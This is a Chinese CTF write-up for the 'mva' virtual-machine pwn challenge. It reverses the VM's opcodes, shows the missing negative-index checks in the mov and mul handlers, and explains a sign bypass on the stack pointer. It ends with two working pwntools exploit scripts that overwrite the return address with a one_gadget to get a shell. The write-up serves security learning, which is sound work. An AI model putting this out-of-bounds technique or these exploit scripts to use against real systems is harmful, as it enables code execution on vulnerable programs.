20.04保护全开 IDA的宏
/*
This file contains definitions used by the Hex-Rays decompiler output.
It has type definitions and convenience macros to make the
output more readable.
Copyright (c) 2007-2011 Hex-Rays
*/
typedef long long ll;
typedef unsigned long long ull;
typedef __int64 ll;
typedef unsigned __int64 ull;
typedef __int64 ll;
typedef unsigned __int64 ull;
typedef unsigned int uint;
typedef unsigned char uchar;
typedef unsigned short ushort;
typedef unsigned long ulong;
typedef char int8;
typedef signed char sint8;
typedef unsigned char uint8;
typedef short int16;
typedef signed short sint16;
typedef unsigned short uint16;
typedef int int32;
typedef signed int sint32;
typedef unsigned int uint32;
typedef ll int64;
typedef ll sint64;
typedef ull uint64;
// Partially defined types:
typedef int8 BYTE;
typedef int16 WORD;
typedef int32 DWORD;
typedef int32 LONG;
typedef int64 QWORD;
typedef int bool; // we want to use bool in our C programs
// Some convenience macros to make partial accesses nicer
// first unsigned macros:
// now signed macros (the same but with sign extension)
// Helper functions to represent some assembly instructions.
// Fill memory block with an integer value
inline void memset32(void *ptr, uint32 value, int count)
{
uint32 *p = (uint32 *)ptr;
for ( int i=0; i < count; i++ )
*p++ = value;
}
// Generate a reference to pair of operands
template<class T> int16 __PAIR__( int8 high, T low) { return ((( int16)high) << sizeof(high)*8) | uint8(low); }
template<class T> int32 __PAIR__( int16 high, T low) { return ((( int32)high) << sizeof(high)*8) | uint16(low); }
template<class T> int64 __PAIR__( int32 high, T low) { return ((( int64)high) << sizeof(high)*8) | uint32(low); }
template<class T> uint16 __PAIR__(uint8 high, T low) { return (((uint16)high) << sizeof(high)*8) | uint8(low); }
template<class T> uint32 __PAIR__(uint16 high, T low) { return (((uint32)high) << sizeof(high)*8) | uint16(low); }
template<class T> uint64 __PAIR__(uint32 high, T low) { return (((uint64)high) << sizeof(high)*8) | uint32(low); }
// rotate left
template<class T> T __ROL__(T value, uint count)
{
const uint nbits = sizeof(T) * 8;
count %= nbits;
T high = value >> (nbits - count);
value <<= count;
value |= high;
return value;
}
// rotate right
template<class T> T __ROR__(T value, uint count)
{
const uint nbits = sizeof(T) * 8;
count %= nbits;
T low = value << (nbits - count);
value >>= count;
value |= low;
return value;
}
// carry flag of left shift
template<class T> int8 __MKCSHL__(T value, uint count)
{
const uint nbits = sizeof(T) * 8;
count %= nbits;
return (value >> (nbits-count)) & 1;
}
// carry flag of right shift
template<class T> int8 __MKCSHR__(T value, uint count)
{
return (value >> (count-1)) & 1;
}
// sign flag
template<class T> int8 __SETS__(T x)
{
if ( sizeof(T) == 1 )
return int8(x) < 0;
if ( sizeof(T) == 2 )
return int16(x) < 0;
if ( sizeof(T) == 4 )
return int32(x) < 0;
return int64(x) < 0;
}
// overflow flag of subtraction (x-y)
template<class T, class U> int8 __OFSUB__(T x, U y)
{
if ( sizeof(T) < sizeof(U) )
{
U x2 = x;
int8 sx = __SETS__(x2);
return (sx ^ __SETS__(y)) & (sx ^ __SETS__(x2-y));
}
else
{
T y2 = y;
int8 sx = __SETS__(x);
return (sx ^ __SETS__(y2)) & (sx ^ __SETS__(x-y2));
}
}
// overflow flag of addition (x+y)
template<class T, class U> int8 __OFADD__(T x, U y)
{
if ( sizeof(T) < sizeof(U) )
{
U x2 = x;
int8 sx = __SETS__(x2);
return ((1 ^ sx) ^ __SETS__(y)) & (sx ^ __SETS__(x2+y));
}
else
{
T y2 = y;
int8 sx = __SETS__(x);
return ((1 ^ sx) ^ __SETS__(y2)) & (sx ^ __SETS__(x+y2));
}
}
// carry flag of subtraction (x-y)
template<class T, class U> int8 __CFSUB__(T x, U y)
{
int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U);
if ( size == 1 )
return uint8(x) < uint8(y);
if ( size == 2 )
return uint16(x) < uint16(y);
if ( size == 4 )
return uint32(x) < uint32(y);
return uint64(x) < uint64(y);
}
// carry flag of addition (x+y)
template<class T, class U> int8 __CFADD__(T x, U y)
{
int size = sizeof(T) > sizeof(U) ? sizeof(T) : sizeof(U);
if ( size == 1 )
return uint8(x) > uint8(x+y);
if ( size == 2 )
return uint16(x) > uint16(x+y);
if ( size == 4 )
return uint32(x) > uint32(x+y);
return uint64(x) > uint64(x+y);
}
// The following definition is not quite correct because it always returns
// uint64. The above C++ functions are good, though.
// For C, we just provide macros, they are not quite correct.
// No definition for rcl/rcr because the carry flag is unknown
// In the decompilation listing there are some objects declarared as _UNKNOWN
// because we could not determine their types. Since the C compiler does not
// accept void item declarations, we replace them by anything of our choice,
// for example a char:
分析
instru = fetch();
v6 = HIBYTE(instru);
if ( v6 > 0xFu )
HIBYTE 看汇编,eax 算术右移24位,其实就是取最高8位(1字节)
mov eax, [rbp+instru]
shr eax, 18h
mov [rbp+v6], ax
指令集逆向
推测指令集结构如下op | r2 | val
case 1u:
if ( BYTE2(instru) >= 6u )
exit(0);
*((_WORD *)® + SBYTE2(instru)) = instru;
op[r2] = val
op | r2 | r1 | r0
case 2u:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( BYTE1(instru) >= 6u )
exit(0);
if ( (unsigned __int8)instru >= 6u )
exit(0);
*((_WORD *)® + SBYTE2(instru)) = *((_WORD *)® + SBYTE1(instru)) + *((_WORD *)® + (char)instru);
break;
reg[r2]= reg[r1]+reg[r0]
op | r2 | r1 | r0
case 3u:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( BYTE1(instru) >= 6u )
exit(0);
if ( (unsigned __int8)instru >= 6u )
exit(0);
*((_WORD *)® + SBYTE2(instru)) = *((_WORD *)® + SBYTE1(instru)) - *((_WORD *)® + (char)instru);
break;
reg[r2]= reg[r1]-reg[r0]
op | r2 | r1 | r0
case 4u:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( BYTE1(instru) >= 6u )
exit(0);
if ( (unsigned __int8)instru >= 6u )
exit(0);
*((_WORD *)® + SBYTE2(instru)) = *((_WORD *)® + SBYTE1(instru)) & *((_WORD *)® + (char)instru);
break;
reg[r2]=reg[r1]®[r0]
op | r2 | r1 | r0
case 5u:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( BYTE1(instru) >= 6u )
exit(0);
if ( (unsigned __int8)instru >= 6u )
exit(0);
*((_WORD *)® + SBYTE2(instru)) = *((_WORD *)® + SBYTE1(instru)) | *((_WORD *)® + (char)instru);
break;
reg[r2]=reg[r1] | reg[r0]
op | r2 | r1 | r0
case 6u:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( BYTE1(instru) >= 6u )
exit(0);
*((_WORD *)® + SBYTE2(instru)) = (int)*((unsigned __int16 *)® + SBYTE2(instru)) >> *((_WORD *)®
+ SBYTE1(instru));
break;
reg[r2]=reg[r2>>reg[r1]]
op | r2 | r1 | r0
case 7u:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( BYTE1(instru) >= 6u )
exit(0);
if ( (unsigned __int8)instru >= 6u )
exit(0);
*((_WORD *)® + SBYTE2(instru)) = *((_WORD *)® + SBYTE1(instru)) ^ *((_WORD *)® + (char)instru);
break;
reg[r2]=reg[r1]^reg[r0]
case 8u:
dword_403C = fetch();
break;
nop
op | r2 | val
case 9u:
if ( _esp > 256 )
exit(0);
if ( BYTE2(instru) )
stk[_esp] = instru;
else
stk[_esp] = reg;
++_esp;
break;
放入寄存器我没看懂? op | r2
case 0xAu:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( !_esp )
exit(0);
*((_WORD *)® + SBYTE2(instru)) = stk[--_esp];
break;
pop reg[r2]
没看懂这里。。
case 0xBu:
v8 = fetch();
if ( v4 == 1 )
dword_403C = v8;
break;
op | r2 | r1
case 0xCu:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( BYTE1(instru) >= 6u )
exit(0);
bool_flag = *((_WORD *)® + SBYTE2(instru)) == *((_WORD *)® + SBYTE1(instru));
break;
eq reg[r2] reg[r1]
op | r2 | r1 | r0
case 0xDu:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( (unsigned __int8)instru >= 6u )
exit(0);
*((_WORD *)® + SBYTE2(instru)) = *((_WORD *)® + SBYTE1(instru)) * *((_WORD *)® + (char)instru);
break;
reg[r2]=reg[r1]*reg[r0]
op | r2 | r1
case 0xEu:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( SBYTE1(instru) > 5 )
exit(0);
*((_WORD *)® + SBYTE1(instru)) = *((_WORD *)® + SBYTE2(instru));
break;
reg[r1]=reg[r2]
case 0xFu:
printf("%d\n", (unsigned __int16)stk[_esp]);
break;
打印栈顶内容
漏洞点
虚拟机的漏洞目前只发现过数组越界 就想一想有没有负数检查 发现判断都是无符号比较 加上printf功能,可以试着越界读取libc地址存入栈中再打印?(但是这个idea马上就被pass掉了,还不如在寄存器里相加减得了)
- mov 有寄存器下标负数未检查
- mul 寄存器下标负数未检查
0x555555555974 movsx eax, byte ptr [rbp - 0x248]
0x55555555597b cdqe
0x55555555597d movzx ecx, word ptr [rbp + rax*2 - 0x21c]
? 0x555555555985 movsx eax, byte ptr [rbp - 0x247]
0x55555555598c cdqe
0x55555555598e movzx edx, word ptr [rbp + rax*2 - 0x21c]
0x555555555996 movsx eax, byte ptr [rbp - 0x249]
注意是两个字节 代表着16位的虚拟机
bool_flag = *((_WORD *)® + SBYTE2(instru)) == *((_WORD *)® + SBYTE1(instru));s
思路:先用mul得到libc地址,改成onegadget的地址,然后往回写到返回地址 可是问题来了,mov有正数检查的,那改如何改到返回地址?
case 0xEu:
if ( BYTE2(instru) >= 6u )
exit(0);
if ( SBYTE1(instru) > 5 )
exit(0);
*((_WORD *)® + SBYTE1(instru)) = *((_WORD *)® + SBYTE2(instru));
既然可以用mov改负数寄存器,我们去看看栈更上的其他值,reg 上面是esp
__int16 bool_flag;
__int16 true_;
unsigned __int16 v6;
unsigned int instru;
int v8;
__int64 _esp;
__int64 reg;
int v11;
__int16 stk[260];
unsigned __int64 v13;
去看esp
case 9u:
if ( _esp > 256 )
exit(0);
if ( BYTE2(instru) )
stk[_esp] = instru;
else
stk[_esp] = reg;
++_esp;
如果改成负数就能绕过,而且
.text:00000000000017DC mov [rbp+rax*2+stk], dx
如果是800000xxxx 的形式,乘2就变成正数了,这是个负数绕过
然后就能借助push 写入onegadget 了
关于ida的宏定义
复制了几个常见的
#define BYTEn(x, n) (*((_BYTE*)&(x)+n))
#define HIBYTE(x) (*((_BYTE*)&(x)+1))
#define BYTE1(x) BYTEn(x, 1)
#define BYTE2(x) BYTEn(x, 2)
#define SBYTEn(x, n) (*((int8*)&(x)+n))
#define SBYTE1(x) SBYTEn(x, 1)
#define SBYTE2(x) SBYTEn(x, 2)
测试一下
typedef char _BYTE;
#define BYTEn(x, n) (*((_BYTE*)&(x)+n))
#define HIBYTE(x) (*((_BYTE*)&(x)+1))
#define BYTE1(x) BYTEn(x, 1)
#define BYTE2(x) BYTEn(x, 2)
#define SBYTEn(x, n) (*((char*)&(x)+n))
#define SBYTE1(x) SBYTEn(x, 1)
#define SBYTE2(x) SBYTEn(x, 2)
#include <stdio.h>
int main(int argc, char const *argv[])
{
long long a=0x12345678;
printf("byte sequence is :%hhx %hhx %hhx %hhx\n",(*(char *)&a),*((char *)&a+1),*((char *)&a+2),*((char *)&a+3));
printf("HIBYTE(a) is :%hhx\n",HIBYTE(a));
printf("BYTE1(a) is :%hhx\n",BYTE1(a));
printf("BYTE2(a) is :%hhx\n",BYTE2(a));
printf("*((char)&a) is :%hhx\n",*((char*)&a));
printf("SBYTE1(a) is :%hhx\n",SBYTE1(a));
printf("SBYTE2(a) is :%hhx\n",SBYTE2(a));
return 0;
}
结果
byte sequence is :78 56 34 12
HIBYTE(a) is :56
BYTE1(a) is :56
BYTE2(a) is :34
*((char)&a) is :78
SBYTE1(a) is :56
SBYTE2(a) is :34
所以对于我们的op|r0|r1|r2 就是op | (char) | BYTE1 | BYTE2 (之前有几个忘记该了,就懒得改了
几个注意点
一个是做VMpwn要先检查虚拟机字节大小,我习惯性以为是32位 踩坑了 另外一个是,栈上的残留红色地址,不一定是可以利用的,一定要打开vmmap看一下,比如这个是ld ,在开了aslr 的情况下是打不通的(不开就能正常打)![image.png](https://img-blog.csdnimg.cn/img_convert/b42ea12dadb27d90651f96f23f743cf4.png#clientId=u9d5d6684-001f-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=350&id=ue0e992a5&margin=[object Object]&name=image.png&originHeight=438&originWidth=1077&originalType=binary&ratio=1&rotation=0&showTitle=false&size=258416&status=done&style=none&taskId=u0ab67ea9-2e43-414c-b40e-affb779174f&title=&width=861.6) 还有的是别用chr 去弄字节,没法处理负数,需要to_bytes 然后就是寄存器相加的时候可能会溢出一个字节,问题不大,多试几次
exp
个人认为由于前期简化掉了pop和push操作,比市面上的wp要容易理解点?
from pwn import *
from ctypes import*
name="mva"
p = process("./"+name)
elf = ELF("./"+name)
_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
_u32 = lambda data :u32(data.ljust(4, b'\x00'))
_u64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :p.info('======>'+tag + ': {:#x}'.format(addr))
ir = lambda :p.interactive()
raw = lambda :raw_input()
def dbg(s=""):
gdb.attach(p,s)
raw()
ce=lambda c :(c&0xff).to_bytes(1,"little")
def en_code(op,r0=0,r1=0,r2=0):
return ce(op)+ce(r0)+ce(r1)+ce(r2)
def ldr(r,val):
return en_code(1,r,val>>8,val&0xff)
def add(r0,r1,r2):
return en_code(2,r0,r1,r2)
def sub(r0,r1,r2):
return en_code(3,r0,r1,r2)
def push(val):
return en_code(0x9,0,0,val&0xff)
def pop():
return en_code(0xa)
def mul(r0,r1,r2):
return en_code(0xd,r0,r1,r2)
def mov(r0,r1):
return en_code(0xe,r0,r1)
def exp():
libc_base=0x7ffff7dbe000
ogg=[0x7ffff7ea1b2e,0x7ffff7ea1b31,0x7ffff7ea1b34]
pl=b''
pl+=ldr(0,1)
pl+=mul(4,-62,0)
pl+=mul(3,-61,0)
pl+=mul(2,-60,0)
pl+=ldr(1,0xa-0x4)
pl+=add(3,3,1)
pl+=ldr(1,0x25ca-0x1b31)
pl+=sub(4,4,1)
pl+=ldr(0,0x010c)
pl+=mov(0,-10)
pl+=ldr(0,0x0000)
pl+=mov(0,-9)
pl+=ldr(0,0x0000)
pl+=mov(0,-8)
pl+=ldr(0,0x8000)
pl+=mov(0,-7)
pl+=mov(4,0)
pl+=push(0)
pl+=mov(3,0)
pl+=push(0)
pl+=mov(2,0)
pl+=push(0)
pl=pl.ljust(0x100,b'\0')
sa("[+] Welcome to MVA, input your code now :\n",pl)
exp()
ir()
简洁版exp
from pwn import *
from ctypes import*
name="mva"
p = process("./"+name)
elf = ELF("./"+name)
_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
_u32 = lambda data :u32(data.ljust(4, b'\x00'))
_u64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :p.info('======>'+tag + ': {:#x}'.format(addr))
ir = lambda :p.interactive()
raw = lambda :raw_input()
def dbg(s=""):
gdb.attach(p,s)
raw()
ce=lambda c :(c&0xff).to_bytes(1,"little")
def en_code(op,r0=0,r1=0,r2=0):
return ce(op)+ce(r0)+ce(r1)+ce(r2)
def ldr(r,val):
return en_code(1,r,val>>8,val&0xff)
def add(r0,r1,r2):
return en_code(2,r0,r1,r2)
def sub(r0,r1,r2):
return en_code(3,r0,r1,r2)
def push(val):
return en_code(0x9,0,0,val&0xff)
def mul(r0,r1,r2):
return en_code(0xd,r0,r1,r2)
def mov(r0,r1):
return en_code(0xe,r0,r1)
def exp():
pl=b''
pl+=ldr(0,1)+mul(4,-62,0)+mul(3,-61,0)+mul(2,-60,0)
pl+=ldr(1,0xa-0x4)+add(3,3,1)+ldr(1,0x25ca-0x1b31)
pl+=sub(4,4,1)+ldr(0,0x10c)
pl+=mov(0,-10)+ldr(0,0x0000)
pl+=mov(0,-9)+ldr(0,0x0000)
pl+=mov(0,-8)+ldr(0,0x8000)
pl+=mov(0,-7)
pl+=mov(4,0)+push(0)
pl+=mov(3,0)+push(0)
pl+=mov(2,0)+push(0)
pl=pl.ljust(0x100,b'\0')
sa("[+] Welcome to MVA, input your code now :\n",pl)
exp()
ir()
|